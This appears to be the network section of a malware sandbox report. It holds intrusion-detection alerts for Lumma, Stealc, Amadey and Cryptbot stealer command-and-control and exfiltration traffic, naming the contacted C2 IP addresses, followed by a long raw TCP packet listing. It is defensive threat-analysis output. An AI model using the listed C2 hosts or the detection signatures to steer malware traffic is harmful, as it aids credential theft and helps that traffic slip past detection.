2024-11-23T15:22:30.355744+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:30.355744+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:31.122999+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49823	185.215.113.16	80	TCP
2024-11-23T15:22:31.991433+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:32.716636+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:32.716636+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:33.491454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49831	172.67.223.140	443	TCP
2024-11-23T15:22:34.691235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49838	104.21.33.116	443	TCP
2024-11-23T15:22:37.367741+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49844	104.21.33.116	443	TCP
2024-11-23T15:22:37.916107+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49846	185.215.113.43	80	TCP
2024-11-23T15:22:39.417148+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49853	185.215.113.16	80	TCP
2024-11-23T15:22:39.781796+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:22:40.187709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49854	104.21.33.116	443	TCP
2024-11-23T15:22:40.244451+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:22:40.566956+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49852	TCP
2024-11-23T15:22:40.896863+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:22:41.022439+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49852	TCP
2024-11-23T15:22:42.610306+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:22:43.329535+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:22:43.636805+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49865	104.21.33.116	443	TCP
2024-11-23T15:22:43.797680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	104.21.33.116	443	TCP
2024-11-23T15:22:44.386977+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49865	104.21.33.116	443	TCP
2024-11-23T15:22:44.919110+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49866	104.21.33.116	443	TCP
2024-11-23T15:22:44.919110+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49866	104.21.33.116	443	TCP
2024-11-23T15:22:45.201775+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49867	185.215.113.43	80	TCP
2024-11-23T15:22:46.378228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49873	104.21.33.116	443	TCP
2024-11-23T15:22:46.608064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-23T15:22:46.721399+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49874	185.215.113.16	80	TCP
2024-11-23T15:22:47.356461+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49873	104.21.33.116	443	TCP
2024-11-23T15:22:47.356461+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49873	104.21.33.116	443	TCP
2024-11-23T15:22:49.423695+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49891	104.21.33.116	443	TCP
2024-11-23T15:22:52.388060+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49903	104.21.33.116	443	TCP
2024-11-23T15:22:54.230831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49914	104.21.33.116	443	TCP
2024-11-23T15:22:55.121606+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49914	104.21.33.116	443	TCP
2024-11-23T15:22:55.655819+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49916	185.215.113.43	80	TCP
2024-11-23T15:22:56.184668+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49922	104.21.33.116	443	TCP
2024-11-23T15:22:56.831078+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49923	185.215.113.16	80	TCP
2024-11-23T15:23:00.358024+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:00.696372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49937	104.21.33.116	443	TCP
2024-11-23T15:23:02.413204+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:03.376362+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49946	31.41.244.11	80	TCP
2024-11-23T15:23:03.955459+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49948	104.21.33.116	443	TCP
2024-11-23T15:23:04.106514+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:05.766615+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:07.545789+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49939	TCP
2024-11-23T15:23:08.007781+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49959	104.21.33.116	443	TCP
2024-11-23T15:23:08.832244+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49959	104.21.33.116	443	TCP
2024-11-23T15:23:09.666168+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:10.332375+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49964	185.215.113.16	80	TCP
2024-11-23T15:23:11.087327+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:14.685958+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49983	185.215.113.43	80	TCP
2024-11-23T15:23:17.388558+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49993	185.215.113.16	80	TCP
2024-11-23T15:23:28.402633+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50036	185.215.113.206	80	TCP
2024-11-23T15:23:34.397917+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50075	185.215.113.206	80	TCP
2024-11-23T15:23:37.918072+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50095	185.215.113.206	80	TCP
2024-11-23T15:23:44.410806+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50120	34.116.198.130	80	TCP
2024-11-23T15:23:46.130633+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50131	34.116.198.130	80	TCP
2024-11-23T15:25:53.838426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50237	104.46.162.225	443	TCP
2024-11-23T15:27:13.265394+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50269	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:21:05.803582907 CET	49675	443	192.168.2.4	173.222.162.32
Nov 23, 2024 15:21:18.915191889 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:18.915231943 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:18.915294886 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:18.917318106 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:18.917352915 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:20.585277081 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:20.585395098 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:20.589530945 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:20.589561939 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:20.589976072 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:20.631740093 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.127696037 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.140069962 CET	49723	80	192.168.2.4	199.232.214.172
Nov 23, 2024 15:21:22.175340891 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.260344028 CET	80	49723	199.232.214.172	192.168.2.4
Nov 23, 2024 15:21:22.260447979 CET	49723	80	192.168.2.4	199.232.214.172
Nov 23, 2024 15:21:22.675442934 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675532103 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675554037 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675595999 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675609112 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.675663948 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675729036 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.675769091 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.675769091 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.675800085 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.696221113 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.696294069 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:22.696314096 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.696439981 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:22.696499109 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:23.995003939 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:23.995063066 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:23.995290995 CET	49730	443	192.168.2.4	172.202.163.200
Nov 23, 2024 15:21:23.995330095 CET	443	49730	172.202.163.200	192.168.2.4
Nov 23, 2024 15:21:57.853342056 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:57.853425026 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:21:57.853503942 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:57.853960037 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:57.853995085 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:21:59.652436972 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:21:59.652523994 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:59.656836987 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:59.656867027 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:21:59.657375097 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:21:59.666485071 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:21:59.711333990 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.134854078 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.134887934 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.134907961 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.134949923 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.134989023 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.135020971 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.135117054 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.323781967 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.323808908 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.323903084 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.323928118 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.323997974 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.367192984 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.367213011 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.367292881 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.367327929 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.367417097 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.509294987 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.509321928 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.509377003 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.509407043 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.509433985 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.509458065 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.540847063 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.540863991 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.540930033 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.540946007 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.541084051 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.544240952 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:00.544326067 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:00.544415951 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:00.544830084 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:00.544862986 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:00.562258959 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.562274933 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.562346935 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.562361956 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.562463999 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.583640099 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.583655119 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.583714962 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.583735943 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.583807945 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.700557947 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.700576067 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.700697899 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.700737953 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.700849056 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.717564106 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.717580080 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.717643023 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.717659950 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.717740059 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.732074022 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.732089043 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.732146025 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.732161045 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.732220888 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.749138117 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.749151945 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.749310017 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.749324083 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.749392033 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.765907049 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.765923023 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.765995979 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.766104937 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.766104937 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.766772032 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.766798019 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.808954000 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.808993101 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.810280085 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.810332060 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.810342073 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.810400963 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.810539961 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.810561895 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.810617924 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.810986996 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811043024 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.811110020 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811148882 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811180115 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.811209917 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811220884 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.811664104 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811671972 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.811738014 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811863899 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811885118 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.811948061 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.811959028 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:00.812014103 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:00.812021971 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.248220921 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.248312950 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.250298023 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.250330925 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.250685930 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.259069920 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.299359083 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.591713905 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.592221022 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.592355967 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.592376947 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.592900038 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.592904091 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.593426943 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.593477964 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.593827009 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.593839884 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.654885054 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.655240059 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.655273914 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.655639887 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.655648947 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.665934086 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.666280985 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.666305065 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.666711092 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.666718960 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.679855108 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.680202007 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.680222034 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.680562973 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:02.680567980 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:02.934439898 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.934473038 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.934501886 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.934545994 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.934611082 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.934669971 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.934712887 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975469112 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.975508928 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.975558043 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975568056 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.975579977 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.975593090 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975630045 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975758076 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975768089 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:02.975778103 CET	49737	443	192.168.2.4	20.109.210.53
Nov 23, 2024 15:22:02.975783110 CET	443	49737	20.109.210.53	192.168.2.4
Nov 23, 2024 15:22:03.035856009 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.035909891 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.036118984 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.036159039 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.036170959 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.036180973 CET	49742	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.036185980 CET	443	49742	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.036884069 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.036957979 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.037010908 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.037108898 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.037110090 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.037143946 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.037184000 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.039589882 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.039634943 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.039725065 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.039838076 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.039868116 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.039990902 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.039990902 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.040009022 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.040153027 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.040167093 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113146067 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113162041 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113226891 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.113245010 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113289118 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.113451958 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.113459110 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113476038 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.113567114 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113590956 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.113643885 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.117896080 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.117954969 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.118031979 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.118172884 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:03.118202925 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:03.134152889 CET	443	49741	13.107.246.63	192.168.2.4
